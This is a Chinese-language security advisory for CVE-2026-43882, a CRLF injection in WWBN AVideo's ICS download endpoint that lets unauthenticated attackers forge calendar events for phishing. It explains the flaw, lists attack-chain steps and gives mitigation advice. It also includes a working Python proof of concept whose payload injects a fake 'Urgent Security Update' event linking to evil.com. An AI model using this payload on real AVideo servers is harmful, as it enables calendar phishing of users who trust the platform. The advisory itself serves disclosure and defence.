IPBUF安全漏洞报告
English
CVE-2026-43882 CVSS 4.3 中危

CVE-2026-43882: WWBN AVideo ICS文件CRLF注入导致日历钓鱼漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43882
漏洞类型
CRLF注入
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WWBN AVideo

相关标签

CRLF注入ICS注入日历钓鱼WWBN AVideo无需认证

漏洞概述

WWBN AVideo是一个开源视频平台。在版本29.0及以下版本中,`plugin/Scheduler/downloadICS.php`端点存在一个无需认证的漏洞。由于`ICS::escape_string()`函数仅转义逗号和分号,未过滤CRLF字符,攻击者可以在日历文件属性中注入换行符。这使得攻击者能够生成包含恶意伪造会议事件的`.ics`文件。由于该文件源自受信任的AVideo域名,攻击者可利用此漏洞进行高可信度的日历钓鱼攻击,诱骗受害者在日历中添加攻击者控制的会议。

技术细节

该漏洞的核心在于AVideo处理ICS(iCalendar)文件生成时的输入验证不足。受影响代码位于`objects/ICS.php`的`ICS::escape_string()`函数(第167-169行),该函数仅对`,`和`;`进行了转义,忽略了` `和`
`等控制字符。

攻击者通过向`plugin/Scheduler/downloadICS.php`发送特制的GET请求,利用`title`、`description`或`joinURL`参数注入CRLF序列(`%0d%0a`)。通过注入`END:VEVENT`和`BEGIN:VEVENT`标记,攻击者可以终止当前的合法日历事件,并开始一个新的、完全由攻击者定义的事件。生成的`.ics`文件会被服务器当作正常响应返回。当受害者将此文件导入Outlook、Apple Calendar等客户端时,伪造的事件(包含恶意的URL、位置或描述)会被添加到日历中。这种攻击利用了受害者对视频平台域名的信任,绕过了传统的电子邮件钓鱼过滤器。

攻击链分析

STEP 1
侦察
攻击者识别出互联网上运行的WWBN AVideo实例(版本 <= 29.0)。
STEP 2
武器化
攻击者构造包含CRLF字符(\r\n)的恶意Payload,旨在闭合当前日历事件并注入伪造的会议详情(如带钓鱼链接的SUMMARY)。
STEP 3
投递
攻击者向受害者的AVideo服务器发送包含恶意参数的HTTP请求至`/plugin/Scheduler/downloadICS.php`端点。
STEP 4
利用
服务器处理请求,由于未正确过滤换行符,生成了包含攻击者指定内容的恶意`.ics`日历文件。
STEP 5
安装/行动
攻击者诱导受害者下载并导入该`.ics`文件(通常通过发送看似合法的链接)。
STEP 6
影响
受害者的日历客户端自动添加了伪造的会议,攻击者利用其中的描述或链接进行凭证窃取或恶意软件分发。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL vulnerable to CRLF injection target_url = "http://<TARGET_HOST>/plugin/Scheduler/downloadICS.php" # Payload injects CRLF to break out of SUMMARY and add a new malicious event # Format: Original data + CRLF + END:VEVENT + CRLF + BEGIN:VEVENT + Malicious Data + CRLF + BEGIN:VEVENT (to close properly) payload_title = "Meeting\r\nEND:VEVENT\r\nBEGIN:VEVENT\r\nSUMMARY:Urgent Security Update\r\nDESCRIPTION:Please click http://evil.com/update\r\nLOCATION:http://evil.com\r\nEND:VEVENT\r\nBEGIN:VEVENT" params = { "title": payload_title, "description": "Check this out", "joinURL": "http://example.com" } print(f"Sending request to {target_url}...") response = requests.get(target_url, params=params) if response.status_code == 200: print("Response received. Checking for injected content...") if "Urgent Security Update" in response.text and "BEGIN:VCALENDAR" in response.text: print("[+] PoC successful! Malicious ICS content generated.") print("[+] Content preview:") print(response.text[:500]) else: print("[-] PoC failed. Injection not detected.") else: print(f"[-] Request failed with status code: {response.status_code}")

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
如果无法立即升级,建议限制对`plugin/Scheduler/downloadICS.php`接口的访问权限,仅允许受信任的IP调用,或者暂时禁用Scheduler插件的导出功能。

参考链接